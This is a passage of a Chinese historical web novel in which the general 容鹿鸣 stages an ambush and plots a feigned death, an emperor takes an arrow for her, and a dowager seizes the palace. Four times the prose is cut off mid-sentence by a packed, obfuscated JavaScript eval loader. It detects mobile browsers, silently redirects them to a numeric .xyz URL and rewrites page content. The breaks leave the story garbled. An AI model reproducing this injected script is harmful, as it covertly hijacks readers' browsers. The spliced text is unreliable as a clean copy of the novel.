沉默了良久,容鹿鸣说:“不会的,我与诸位有约,平生只求与你们征战疆场。” “愿与少将军生死与共。”大家齐齐抱拳,容鹿鸣心底的那一点不安也散去了。 “好!明日且随我演一出好戏。” 5. 杀局已启 “少将军已有计策?”大家齐齐望她。 “我来时曾绕道侦察,南蛮士兵怠于操练,看来,他们不过打了几场胜仗就骄傲了。今日我回营,入营时故意差人鸣鼓,他们必然知晓新的将帅来了。 我们可以借此为由,演一出大喜大醉的戏码。他们轻敌,以为有机可乘,必然来犯。右副将立即点出三路人马,在营地各个入口处埋伏。其余将士与我一起,在南蛮人眼皮子底下醉一醉,如何?” “哈哈,真乃妙计是也!” “那么,另外一件事,兄弟们,我教与的兵书背熟了吗?” 宇文靖:“日日背诵,不敢懈怠。” 右副将:“……” 容小虎起身想跑:“少将军,我去给您倒碗茶。” “明日立功便罢了,若是疏忽了,定要重罚。” “难道要罚……” “当然是抄——兵——书——” “啊——”营帐中忽然传出野狼般的嚎叫,帐外操练的士兵们俱是笑了。容鹿鸣回来了,他们也有了力量和胜利的希望。 容鹿鸣静静躺在草地上,双眼微闭,长剑在手。她听到地下传来的细微声响,两种步伐,两种速度,敌人要上钩了。她装作无意地翻了个身,拖长音“嗯”了一声。瞬间,所有士兵同时紧握手中长剑。 近了,更近了,刀剑拼杀声骤然响起。 “杀!”她大喝,所有人一跃而起,奔向敌人。 夜半,月将落。刀剑的寒光扯动闪电,血花溅落在凉夜里,兀自温热。 各种声音混在一起,他们却什么也听不到。生死的欲念都已忘却了,他们是逼向敌人的利剑。 天亮起来时,容家军唱起了晋国的民谣。容鹿鸣脸上全是血,她随意一抹,任它渗入嘴角,甜的,敌人的血。 “天佑我晋国!”她大声道。 “天佑晋国,天佑晋国——”这呼声在天地间回荡,如同镇魂的祭曲。 军报五百里加急,送到萧正则手中。他打开它,手指竟止不住微微颤抖。月余间,与南蛮的争战首次大捷,收回城池三座。 “太好了,父皇,我军大胜南蛮。”萧正则跪在病床前,紧紧握住老皇帝冰冷的手。 “好……好……”萧绩剧烈咳喘着,“将领可是容鹿鸣?” “正是。”萧正则抚着他剧烈起伏的胸口,想减轻他的痛苦 “你万万记住,她若有异动,必杀之,切不可……不可心软!” 萧正则一瞬地应了,然后却听这声音在心底激起剧烈回响。 晋国南境,容家军驻地。 主帅帐前又是十个坛子。 容小虎在帐外转了几圈,终于鼓起勇气,走了进去。容鹿鸣正借着沙盘研究地形。 “少将军,”容小虎抱拳,“敢问外面的坛子是?” “跟昨晚一样,另外还有二十个,今晚灌好了送过来。” “还喝水呀!”容小虎的脸皱成了一团。 容鹿鸣抬眼看他,笑道:“酒!” “难道还装醉引他们来偷袭?” “非也。”容鹿鸣负手而立,“这次是我们要偷袭,把我们的裕城抢回来。” 为了庆祝大捷,晋国兵营“大醉”三天,吹拉弹唱之声传至数里。虽然上次战败,可南蛮的军士们犹不服气,纷纷议论:“晋国的新主将也不过如此!”没人知道,容鹿鸣回来了,她这次在战场上总戴着面甲。南蛮人仍当她在王府里,作着那可笑的七王妃。 容鹿鸣继续做着戏,连平日的练兵方式都换了,以搏杀融入剑舞,远远望去,煞是好看。“欢庆”背后,整个兵营进入备战状态:昼夜巡逻,夜不解甲。 是夜,四人围坐沙盘。 宇文靖道:“我们在兵营北部故意留下破绽,这两日南蛮的探子已来过四次。” “分别是何时来的?”容鹿鸣盯着沙盘。 “前日、昨日晚间,丑时或寅时。” “那么”,容鹿鸣环顾四座,“明晚亥时,我们好好玩一场吧。”她目光烁烁,“不把裕城收回来,誓不罢休!” “是!”将士们领命出营,像是亟待出鞘的宝剑。 巧笑端上来两杯浓茶。 容鹿鸣与宇文靖对坐,露出难得的一点儿倦意,“今日且以茶代酒,敬靖王,你所做的一切,鹿鸣无以为报……” 宇文靖饮着那苦茶:“何故言此?你知我心甘情愿。” “明日偷袭裕城,南蛮人必定拼死抵抗,如同信中所言,我需要你协助我,借此战完成这个局。” “你可想好了?”宇文靖端起的茶盏又放下。 “京中几方势力,都在等着皇上咽气,好拱自家主子上位。我“死”在这个关口,最好。不会引人起疑,也让他们少了我这颗掣肘容家的棋子。若萧正则得位,容家军大概不至太过没落,南、北境或许可安。若是其他人上位……”容鹿鸣揉着眉心,心里的打算,她还不能说出来。 “真的想好了?刀箭无眼,万一……”宇文靖靠近她,想和她说许多许多话,却又都鲠在咽喉。 他的焦虑,容鹿鸣看在眼中,却是玩笑般问道:“你已问过两次,可是靖王不愿收我?” “当年两国盟约尚存时,祖父曾说过,西戎朝廷之上,官位任你选。倘我能成为太子、继承大统,王座也可分与你!”宇文靖言辞坦荡,心中竟也真这样想。 容鹿鸣眉眼弯弯,“哦,那可使不得。且待战事平了,我真想去西戎纵情山水,吃吃喝喝。” “你还有心思想这个!虽然我们上次胜了,可敌军骁勇、人数众多,如今战事还不够明朗,这计划何不往后推一推?” “今早收到消息,皇上病危,我没有时间了。” “如果萧正则登基,你就是……” “不!”容鹿鸣打断他,“萧正则态度暧昧,容家权势过大,我若留下,恐怕会成为他清理容家、洗牌兵权的引子。况且,军中信息俱被我们截下,三王新派了探子,明日将至。届时,我会让小虎压着他攻上城楼,看着我被一箭射中,再擒住他,连带之前探子的尸首和口供,一并作为三王刺杀、通敌的罪证。” 容鹿鸣抿唇笑着,望向宇文靖,“这一箭,交给你来,阿靖,由你扮作先前被抓的那个探子,送我假死的因由。” 这个称呼此刻让他痛了,望着她的眼睛,宇文靖震颤着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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像是猛地砸碎那贵重的黄金鼎,满注其间的水银瞬地泻地。她感到肆意畅快,以性命下注,她却不怕,只觉得正奔赴那个命定之所,哪怕真的寂灭了,又如何呢? 宇文靖走过来,辽阔的星空下,与她并肩而立。所有感伤都被掩没,在这热烈的战场之上,他们都已恢复成冷静敏锐的模样。告别只需一瞬,不必拉扯。 宇文靖低头看了看容鹿鸣的伤口,“你是感受不到痛,还是乐在其中?” “都有吧?止痛的药粉给点儿。” “不是说疼痛使你清醒吗?”宇文靖取出随身的小锡瓶,递给她。 “自由在召唤我,阿靖,哪里还有睡意?唉!愿这伤口别削弱我挥剑的力度。”容鹿鸣把瓶中药粉洒在自己伤口上。 “嘶——”空气里腾起温热的血气。“感觉比之前还疼啊,你改了配方吗?” 宇文靖接过药瓶,轻柔地替她洒匀,“你容神医的老配方,谁敢改?他们都说,你这是最狠的伤药,最强的药效。” 容鹿鸣无声地笑了,等那阵锐痛过去。宇文靖与她抵肩。 “若是被萧正则知道我在你营中,啧啧……” “怕什么,那会儿我大约都‘死’透了。” 笑声细碎地洒落,夜气润湿盔甲,草尖晶亮。新月当空,大战将启。 而局中之人,正在赶来的路上…… 6. 身入死局(上) 这是第三夜,战场,血腥弥漫。 晋军与南蛮军像两只带伤的猛兽,都在酝酿最后搏杀的力量。大帐内,容鹿鸣已两天两夜没合眼,在沙盘前踱步,等待斥候来报。 “报!少将军,蛮人为报复,在城墙上大肆屠杀城内百姓,尸体……尸体皆扔于城墙下,惨不忍睹!” 容鹿鸣闻言,紧握双拳,“令正前方将士务必忍耐,按兵勿动,吸引敌人注意。西侧将士架好器械,抓紧开挖城墙下暗道,再有一个时辰,如若完不成,军法处置。东侧先行军,搭好云梯,即可悄然登城。” 巧笑此时冲入营帐,将美盼的密信呈给容鹿鸣,信上仅一行小字:皇帝崩,未发丧。 只觉耳畔“嗡”的一声,容鹿鸣扶住案几。她忍着剧烈的耳鸣,心中思量,由京中到此,快马加鞭至少十日。若皇位已然……新帝的圣旨当不日便至。要么自己尽快“消失”,要么等那圣旨将她召回去。 容家已陷夺嫡乱局,若新帝是其他皇子,即便是三王,父、兄亦危矣,她当隐藏起来,与哥哥一道共谋他策。 若新帝是萧正则…… 她一直清楚,萧正则疑心甚重,少了她,由他名正言顺收了一半兵权,容家显了式微之势,或可避免君王之疑加深。亦免得继续把她扣在宫里,还得日日提防。 她也便自由了。换个身份,随哥哥继续征战,等平了战乱,就去四海行游。 容家这等公侯家世,金玉之下,其实俱是锁链。 萧正则若不立她为后,不知朝堂上多少折子会一并递上来。若立了她,他心念宋淑离,后宫之中,给她寻个错处,不正好既全了他的所爱,又可趁机整治容家,掣肘父兄? 想得有些远了,容鹿鸣自嘲地笑了笑。不知怎的,她觉得那皇位上坐的,就会是他。想到他薄唇边常带笑意,好看的眉眼间却尽是冷漠。 何至于走到这一步? 割席分坐前,他本是她最顾念的弟子。 身在这个位置,她甚少与朝中大员交往。许久那次返京述职之时,她听闻太子染疾,朝局不稳。入宫探病归来,转手便收了几张邀帖。她自己没什么可谋划的,只想早早抽簪。唯一有些惦念的,甚而不是太子,而是萧正则。 眼见乱局初兆,师徒一场,她要为他谋一桩稳妥亲事。 彼时席间觥筹交错,她惯是饮茶。礼部尚书醺醺然间笑道:“七王爷这样好看的皇子,不拿来和亲,煞是可惜哦。” 她不置一词,这不稳妥,她冀望他的结姻世家当是远离朝政,书礼熏陶。她想他书画双绝,可以浸润书斋,安稳终老。想来,原是她自己得不到的,总愿他可以享有。 岂料没过两天,她就被他以刃抵喉,出言不逊。没过多久,他又自请带兵出征。伊于胡底,他暗动的野心到底脱出了掌控。思虑到容家的处境,她就此不再见他。 后来才闻听他苦恋宋淑离……但愿,容鹿鸣祈求着,愿他薄情之人确付真心,全了他的爱念,勿要再对自己深究。 “传靖王、右将入帐。”容鹿鸣饮了口烈酒,驱赶倦意。 那壶最烈的酒随后递给宇文靖,然后是容小虎。他们一一饮了。 “三王新派来的探子已被右副将绊住,一会儿激战起来,我们会把他推上城楼。”容小虎抹去唇上残酒,镇定地说。 “好!敌军不知我们三面夹击,主力都还在正门那与我们对峙。此战,我军必胜!阿靖,剩下的,就交给你了。” “是!” 最后的厮杀还未激起,各个线索在容鹿鸣心里汇集,她像是猛然想起什么似的询问斥候:“战场附近,可有其他异动?” 斥候见宇文靖迈步出帐,方才垂首过来答话:“有一路我方士兵正疾速驰来,大约五百骑。黑衣、无军旗。末将趁夜靠进,那领帅印的,是七王爷。” 似是失聪了一刹,容鹿鸣急问:“可看清楚了?” “不敢有失。” 萧正则竟真的来了,这已不是信任,而近乎是盲从! 容鹿鸣心里觉得,萧正则一定不会来。当初留给他的字条,上面故意写了“亲征来此”,便是给他指了条线索。 时机一到,三王亦会设法让他亲征南境。以他的手段,不至于查不到三王私下的谋划。而他已自她手中得了先机,可以将计就计,反迫三王率军南征。 依此行事,她可借假死之策,栽赃三王派人谋刺抗敌将帅,若萧正则已皇权在握,宇文靖假扮三王探子射向她的那支箭,谋刺的便是晋国皇后! 这一箭,再加上人证和指证他通敌的供状,三王必难逃罪愆。她和容家军从三王意欲策动兵变的阴谋里脱了出来,萧正则也可顺利除了政敌。 这些思谋伎俩,她当年明明都教过他的,怎么此时会出现如此纰漏? 说来也怪,容鹿鸣一开始就觉得三王并非王座佳选,近乎某种直觉。诡计在她心中总有多种样貌,周遭一变,就又是另一种出路了。 萧正则若真的冒险前来,自己不过是违背与三王的约定,不助他杀萧正则而是帮萧正则挡那一箭,自己仍能脱身。至于三王,这浑水他是趟定了。她只是隐隐忧心,萧正则不能有任何闪失…… “鹿鸣,你可还有什么忧虑?”宇文靖回转过来、挑帘入帐,见她神色有异,问道。 “无他,只盼胜利之后,战火早息……” 萧正则也许会来的事,她没有对他讲。自古“王不见王”,她不是不信宇文靖,她只是害怕人的欲望。 当可以主宰生死,可以引发动乱、觊觎万里沃土,谁还能秉持信义?幸好,宇文靖从未见过萧正则。 如果他知道萧正则可能会出现在自己的箭下…… 激战的擂鼓响了,震天动地。容鹿鸣长枪在手,行在阵前,无人能敌。将士们士气大振,势如破竹。兵至城下,阵分,第二路将士已布置好攻城器械。 “放!”一声令下,巨石与带火的箭镞齐齐发射,惨叫声、烈焰燃烧声、城墙迸裂声,不绝于耳。南蛮人穷凶极恶,把城内晋国百姓压在城墙上,组成人盾。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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箭刺入这个位置,倒刺会让他血流不止,“必须立即拔箭!”容鹿鸣用腿勾住缰绳,战马明白指令,立即稳稳立住。容鹿鸣斩断长箭,握住余下箭柄,看着萧正则的眼睛:“信得过我吗?” “何妨?”萧正则看着她,目光清明,居然笑了。她咬住嘴唇,抽出匕首,稳住颤抖的手,划开萧正则的伤口,试图拨动那带倒刺的箭。 “一、二……”她在心里数着,预感到死亡,无法动弹。 “鸣鸣,”萧正则注视着她,握住她的手,猛一使力,刀刃沉入伤口,剥离了那些倒刺,“拔箭!” 容鹿鸣剧烈喘息着,感觉到萧正则的颤抖,“阿则……阿则!” “快,容鹿鸣,拔箭!我信你!”滚烫的热血喷洒而出,容鹿鸣即刻用肩膀抵住那伤口,撕去甲胄下洁净的衣摆为他紧紧包扎。 “萧正则,不许睡!萧正则!”她不停喊他,一边挡开紧追不舍的南蛮骑兵。 容小虎与宇文靖被敌人拖住,她带着萧正则杀出重围。破晓时,终于看到容家军殷红的战旗。 7. 身入死局(中) 逐渐昏沉的意识中,萧正则靠在容鹿鸣怀里,看她一边拼杀,一边用手臂挡住刺向自己的长枪。“是这个女人,是这个女人啊……”他对自己苦笑。 那张字条交到手上时,萧正则就隐约猜到了容鹿鸣的打算,多年默契,她的实力他是信的,自己完全没必要亲征,她究竟想要干什么? 不想甫一登基,萧正昀也力劝他亲征。 “果然,三哥也在这局中。”萧正则想,暗地里布置好京中军政,预备将计就计,以离京出征为诱饵,正好除掉几个政敌。 那容鹿鸣怎么办?他思虑过甚,夜不能寐。由是,命人点亮寝殿里错银镶金铜鹿灯架上的所有烛火,于紫檀的龙书案上,继续画先前勾了一半的地藏菩萨像。只勾了几笔便搁下了,心里觉得对菩萨不敬——他又想到了容鹿鸣。 人人皆知,容家少将军书画双绝,尤其擅长画菩萨像,相国寺、云顶寺……几大寺院的地藏菩萨皆是由她开脸,笔下之作更是有市无价。他跟她学了那么久,到底,不管哪一处都没能超过她。 昙现接过门外内侍捧来的南境战报,轻轻放在龙书案上。此封军报不来自容家军,而来自萧正则派出的暗卫。 萧正则展信略读,长眉紧皱。诸事还算顺利,除了宇文靖……宇文靖竟在南境营中! 萧正则把信倒扣案上,右手食指轻扣。他小时候其实见过宇文靖。当年晋国与西戎的结盟仪式,他求了好久,父皇终于同意他随太子一道前去。他们似乎都以为,他孩子心性,想去看个热闹。唯他自己心知,他听闻容鹿鸣亦去,只想要再见到她。 行至西戎皇帝行宫,萧正则压低眼角四下观瞧,却不见容鹿鸣的身影。 有个俊美挺拔的接迎使见了他,温和地笑了笑,递给他一包“金玉糖”:“跟好你的太子,可别走丢了。” “金玉糖”是他那时喜欢的,可一时竟忘了去接。他见那人左手食指外侧,有一道雕青细字“家国在肩”,容鹿鸣手上也有。他知道,这是容家军的标记。可这人明明是个西戎官员。 结盟仪式上,他又看见了这人,身着皇室冠服。听太子说,他是西戎的靖王。而他的视线,总围着某个人打转,萧正则几乎立即就发觉了,因为他也在看容鹿鸣。 宇文靖一个邻国皇子,常跟在容鹿鸣身侧,盟约尚存时,倒也无妨。可现下两国反目,他这是想做什么? 不可遏制的,他一瞬地起了杀意。 昙现躬身,僵在书案前,不敢发出一点声响。偌大的殿宇内,只有萧正则敲击书案的声音,悠沉有力。 “另一份呢?”萧正则把军报折好,置于一旁。话语间听不出喜怒。 昙现轻轻喘了喘,自袖中取出一份文书,展于龙书案上。 萧正则略略看了眼,提起翡翠笔山上的一支朱笔,饱蘸朱砂。这上好的朱砂极浓郁,带着点儿矿石的腥味儿,像血。 先于勾定生死,他直想把这朱砂浓浓抹于心上,图去心底那个名字。 御笔已提,却良久停滞。笔尖朱砂滴落,晕染在“容鹿鸣”三个字里。御笔往前奔袭。三王近臣的名单中,只一个名字未划去。 三日后,京中已张好猎网。萧正则率军驰援南境。 一路上,父皇临终的话一直响在他耳侧,若容鹿鸣此战战死,确实最干脆,可以省去多少试探、猜忌。 “不过是个女人,”萧正则对自己说,“再挂念也不过是个女人,总会有其他人来取代自己心中,她的位置。宇宙洪荒,唯有王权方才万古不朽。” 一路策马驰来,穿过溪流、竹林、成片的野茉莉……赏心之景滑过眼底,却似乎都带着容鹿鸣的影子。自己这是怎么了?萧正则觉得奇怪。 当在战场上看见她时,那即将射向她的箭,瞄准的一瞬他就察觉了,如同凶猛的野兽正护卫着自己的雌兽。 原来,三王谋刺的对象竟不是自己,却是她! 刹那间,他心里想的明明是:就让她去吧,她死了他就能从这不明不白的情愫里解脱了,顺便再迁怒几个王爷,王权也会更稳的。可一边想着,一边胸口痛极了,仿佛被利刃劈中,他不能承受这痛,无法控制自己,竟然驱马狂奔,挡在了她前面。 飞箭刺入身体,痛!但又似乎不那么痛,萧正则倒在容鹿鸣怀里,她闻上去像朵沾了血的茉莉,真好闻,他想,真好,她没事! 外人不会知道,当年盛传他因宋淑离嫁给太子伤心出家,其实只说对了一半。不是宋淑离,怎么会是宋淑离呢? 他只是听前线密报说容鹿鸣将嫁宇文靖,伤心得去云顶寺呆了一个月,不抄经,却是日日写她名字,写了十几本。夜里宿在空寂的禅房,面对地藏菩萨,跏趺至天明,菩萨的面容为她所画。他想要破“我执”,甚而愿意剃发入空门。 奈何方丈不收他,但问他所执为何? “妒忌。我不如吾师,恨不能超越她。” 方丈良久不言,“不知所执为何,如何破‘我执’”? 他便夜夜趺坐,求解脱,愿得了悟。愿菩萨慈悲,允他将执念碾碎。 后来前线传信,说那婚礼不过是诱骗南蛮的计谋,他这才下山回了王府。无人知晓,无人觉察,他以为压在心底的执念,连自己都骗得过,却没想到……骗不过死生契阔。 容鹿鸣是被渴醒的,她大概是呻吟了,立刻有人将水喂到她嘴边,她狠狠饮了几大口。意识、感官迅速归复,她仍装作昏睡,心下思量:此处密不透风,有脚步声传来,人数不少,脚步极轻且身着盔甲。自己,难道是被囚禁了?可刚刚喝到的水却是上好的甘泉。 有人大步走来,听动静,应是个年长男子、未带武器。匕首不在袖中,容鹿鸣暗中活动五指,一把扣住来人的咽喉。 “王……娘娘……”太医院院判陆谦面如死灰。 “怎么是你?”容鹿鸣松开手。 “奉陛下之命,为娘娘疗伤。”陆谦跪下行礼。 容鹿鸣环顾四周,自己确实在牢里,还不是普通的大牢,按规制,这大概是晋国的天牢——专押穷凶极恶的死囚。她在脑海中约略画了个布局图,考虑逃脱的办法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唉——”她在心里叹了又叹,当年两国结盟时恰逢她及笄,这是当时西戎的贺礼——西戎皇室珍宝,此药几乎可以起死回生。药材难得、极难炼制,全天下恐怕只剩这最后一颗。 她自己一直舍不得用,总想要留给兄长容雅歌,此刻看来……若是萧正则不幸死了,晋国怕是要乱。强敌不退,内外交困,百姓当如何?除却个人恩怨,她当对得起祖庙里“护国佑民”的规训。 容鹿鸣把那小银盒郑重地交给陆谦,“速速给陛下服下,陛下定能安然醒来。” 陆谦看着这药丸,想到些什么,容色有变,“娘娘,这可是传说中的……” “不必再说,快去。” 一连数日,容鹿鸣一人呆在晋国死牢最底层。没有其他犯人,这是专门为自己清了场吗?牢房里家具齐全,忍冬纹的髹漆案子上,甚至还摆了只秘色瓷莲花瓶,里面斜插了几支虎头茉莉。 茉莉,又是茉莉。当年萧正则怎么知晓她喜欢茉莉? 8. 身入死局(下) 寂静的死牢深处,有人焚了沉香。旧日光景随暗香浮动,朝容鹿鸣袭来。 多年之前,某日弘文馆下了午课,容鹿鸣顺道去滋兰苑,照料静妃钟爱的那一园长梗月季。浇水、修枝,看它们亭亭初绽了。真好看呐!她把面庞轻轻伏在明艳的花瓣上,轻轻嗅。 萧正则正跟在她身后,有东西想送她。此刻看见,不觉花美,只觉得她不经意间流露的艳美直拍过来,拍在他心口上,如一记响亮的巴掌。 他感到又惊又麻,几乎不能呼吸。在香樟树后站了片刻,他才走到她面前。 “容讲郎。” “七皇子。”容鹿鸣连忙施礼。 萧正则想伸手扶她,意识到不合礼数,忙收回手来。 “容讲郎为吾师,不必如此。”他静静望着容鹿鸣,只觉得她好,难以言说。华服时美,椎髻木钗亦美;带兵打仗时美,小女儿的模样亦美……所有与她有关的片段都能隐秘地动他心念。 他从袖子里取出一枝虎头茉莉,递与她,“我在皇宫的暖房里种的,烦请容讲郎带与静母妃。” 专门为她种的花,花开了,却不敢说赠与她。 茉莉的甜香瞬间散开,带着初夏的余韵,染在秋风里。容鹿鸣眉眼弯弯,敛衽施礼,双手接过那枝花。不经意地,瞥见萧正则右手食指关节处有道伤口,应是被花枝所伤,还在湛血。 她立刻用手帕包住那伤口:“怎么受伤了?快随我来,这伤口要包扎。” 她的语气、神态,与当年和他在战场上相遇时一般无二,只是,她似乎已不记得了…… 女官们只在送饮食时出现,且从不多言。可奇怪的是,对于死囚而言,这餐食也太好了:炙羊肉、羊头签、蟹酿橙、五珍脍、鸳鸯炸肚……肴馔精美,比之前在王府时犹有过之。 居然还有酒,酒中加了有助伤口愈合的药材。金银餐具华贵异常,与周遭的铁栏格格不入。 那些铁栏倒是结实坚固,与她见过的所有监牢都无异。 只是,三足瑞兽的香炉里熏着沉香,锦被玉枕皆是贡品。这哪里像是在坐牢? 自己的伤并不重,除了肩上旧患,其余伤口都不深。可这几日太医院送来的药都是宫中最好的珍藏。容鹿鸣久在军中,也为医者,却不多见这些药材。 这吃的、用的,她都心疼了,对陆谦说:“我就是一点皮外伤,哪里用得上这些?宫中所藏虽多也有个限度,省着以后用吧,我用普通草药就好。” “皇上特意吩咐的,臣不敢违抗圣旨。” 容鹿鸣有些困惑,既不想她死又为何把她压入死牢?其实,她心底早已做好最坏与最好的打算,差别不过是,除了自己外,会不会连累容家。 “假死”的戏码是她安排的,虽说栽赃了三王,可皇上却中了箭,怎么看她都脱不了干系。 “陛下,醒了吗?”容鹿鸣想算算看自己还剩多少时日。 “陛下尚未清醒。”陆谦颤巍巍地擦去额角汗水。 “那药丸,陛下可服了?” “已服下。” “你退下吧。”容鹿鸣不再说话,心里却蓦地清晰了,拽住了那丝若隐若现的线索。 每日吃吃喝喝,甚是无聊,容鹿鸣还让郁雾把她爱读的《墨经》《心经》同兵法都搬了来。 连死牢的看守们都困惑:这算是将死之人?待遇也太好了吧!这人也是怪,大概陛下心有恻隐,可她既不哭闹,也不苦求,怎么整日一副惬意自如的模样? 容鹿鸣在等,她料定萧正则留她至此,必有用意。 七日转瞬过了,容鹿鸣在心里盘算:萧正则这病,装得有些久了,西戎的秘药,当已使他伤病好转。他——该有行动了。 像是预感到什么,夜渐渐浓了,她仍醒着,多年征战,她敏锐地嗅到了阴谋的气息。 静夜里,似乎一切都熟睡了,一点细微声响,容鹿鸣握住枕下碎瓷片,这是她故意打碎青瓷茶盏后藏下的。 近了,来人移动很快,更近了,是熟悉的气息。心中一动,容鹿鸣轻轻敲出几点容家军暗语,对方示意,竟是容小虎。 容小虎把她的剑按在她手中,拉着她跃出重重死牢,未遇守卫,顺利得出奇。 “少将军,皇后,不,已是太后了,她已动手,陛下被囚禁福宁宫。” 文华殿内,宋桓端坐在龙书案后,那张雕花描金的金丝楠九龙椅上,看向搁在一旁的斗彩荷莲图鼓钉绣墩,真是精美无双!天下最好的东西,都叫萧绩挑拣出来,呈到那静妃面前。这绣墩是她秉烛伴君、红袖添香时常坐的。她故去了这么多年,萧绩竟依然舍不得撤去。 都说帝王无情,确实,萧绩对她宋桓真无情,却对静妃一往情深。 “来人,把这绣墩抬到殿外,重重砸碎。”宫人应诺而来。 “哗啦!”瓷器碎裂,如一声轻雷,真畅快!烧在瓷器上的荷莲图,一瞬皆碎。 宋桓快意地想,帝王的情深,不要也罢,唯有王权永恒美好。二皇子死了,静妃死了,老皇帝死了,很快,萧正则也会死在她手上。既然西戎当年曾有女帝治国,晋国为何不可? 她便要做这女帝,尝尝王权的极乐,补偿自己所失去的。 萧正则重伤在身,生不如死。容鹿鸣跟三王的谋逆扯上了关系,被压死牢。宋家那个首鼠两端的大哥,作壁上观,被囚国公府。 果是身弱之人,难堪大任,萧正则自己给她扫了条通往皇座的大道,她怎能不恣意地走上去? 正了正头顶九龙衔珠的皇冠,宋桓亮出手中的禁军兵符——她自萧绩僵垂的手中抢下的,掰断了他的三根手指。 天下很快就会是她的。她令禁军皆荷刀披甲。顾念史书上会有的说辞,她不会轻易杀掉萧正则,她会默默折磨他,直到他交出玉玺。 她冷冷地笑了,禁军铁甲紧随其后。他们一道穿过冷硬的夜风,直逼福宁殿…… 容鹿鸣和容小虎纵马奔向皇宫,陆小虎手持萧正则的令牌,一路畅行无阻。 容鹿鸣却是笑了,带着点儿快意,“急什么,他布的局,定是步步都算好了的。” “少将军,太后可是号令了禁军,万一……” “宋淑离可入宫?”容鹿鸣打断他。 “唉,少将军,这可不是吃醋的时候,提她做什么?” 容鹿鸣一记眼刀飞过去,“少废话!” “皇上是下旨封了淑贵妃,可宋淑离抗旨不从,皇上一怒之下把她和镇国公一并软禁国公府。” “这大概也是萧正则与宋衍计划好的。”容鹿鸣想,这算是一种默契吗? 当年在南境听闻太子之事,她就心生疑窦,暗自派人做了些调查。太子身边那个内侍也被她的暗卫悄悄带去了南境,外界都以为太子病薨,东宫乱作一团,没了个内侍,也无人在意。 上次回南境前,她还特地派了个说书先生,去国公府附近最好的茶馆说书——说南蛮皇后杀太子夺权的演义故事。镇国公宋衍向来喜欢听书喝茶,是该叫他心里缄默的疑惑出声了。 先前去铸造坊监工的那几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592636|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,容鹿鸣自己也闹了一闹。 宋衍的堂弟在京中开了家古董铺。她扮了男装,带上那二皇子的侍从,一起逛了过去。左看看、右看看,这也要买那也要买,一副十足的纨绔模样。 一把白玉骨扇叫她挥得纵情肆意,刚好碰倒一只纤细名贵的翡翠花瓶。 伙计们大惊失色,容鹿鸣却越发犯浑:“这可不关我事!”带着侍从转身要走。 家仆们掂着棍子就过来了,容鹿鸣也不躲,疾行几步,把侍从推倒在前院,放声大喊:“镇国公的弟弟,打——人——啦!” 不过片刻,围观者甚多。一众人等,目瞪口呆。 掌柜快步走出来,见面前人一身贵气却又泼皮十足,压了怒气,拱手道:“公子,有话好说啊。” 容鹿鸣装出一副颇受委屈的样子:“你那瓶子碎了,我又不是不赔,可你这些护院却要动手……” 二柜屏退了护院,笑盈盈道:“那就请公子赐下银钱吧。” 容鹿鸣把侍从拉起来,帮他拍拍身上的灰尘,涎着脸笑说:“哎呀,身上银钱不够,先把这皇家侍从压给镇国公,我回去取了钱便来。” 二柜又要发作,掌柜却是心中一惊,止住他,“敢问公子名讳?” 容鹿鸣不答,挥着扇子朗声笑着,走出店铺。那侍从,便留给了宋衍,由他自己去查他家贵婿——太子病薨的实情。她亦借此事显露了结盟之意。至于这盟结与不结,看镇国公,也看萧正则接下来的手段。她知道,自己一路都有萧正则的暗卫跟着,自己的用意,等于已呈给他看。 宋衍这只老狐狸,借抗旨遭禁,已是从皇后逼宫的谋划里抽出身来。宋家已不足为惧,她自家的事更要紧,“容相呢?”容鹿鸣问道。 容小虎默不作声。 “你说。” “容相前日被请去了七王府,至今未归。昙现公公暗地传信,说您明白陛下的意思。” 原来,那句“容相说不定会落在我手上”是这个意思。 心底好容易捂热的那点暖意“噗”地冷了。可自己不过是君王的棋子,又能如何呢?容鹿鸣没再说什么。 他们停在城门外,马匹隐入林中。容小虎在前引路,停在北侧一个隐蔽的角落。 “少将军,快走,我殿后。” “你……怎么知道这里?”容鹿鸣却停了脚步。 “哎呦,少将军,您是不是忘了,当年您和容将军设计了这条密道,监工是我和大虎啊。” “哦——”没想到这密道竟然建成了!当年,在征战间隙,她和容雅歌难得的俱在京中,一起为静妃和皇上画了这设计图。静妃呀,静妃故去已数载,死因悬置至今。不知怎的,她最近时常念起她。 哥哥和容大虎仍在北狄。片刻的,容鹿鸣有些迷茫,此刻命运隐然的轨迹会将她带向何方? 她抽出宝剑,寒光照眼,毅然步入密道。 容鹿鸣与容小虎快步穿行密道,尘土的气息,呼吸声,接近肇始之处或结局之所。 耳畔已听得兵戈之声,是军士们集结之时戈矛撼地的声音。 密道出口在福宁宫寝殿内,龙榻一侧的御柜之后。钻出密道,已在明黄的帏帐内。寝殿之中,烛火昏黄。 容鹿鸣示意容小虎等在密道出口,自己悄然走向龙榻。她还不太信任萧正则,怕他这次又做下什么局。 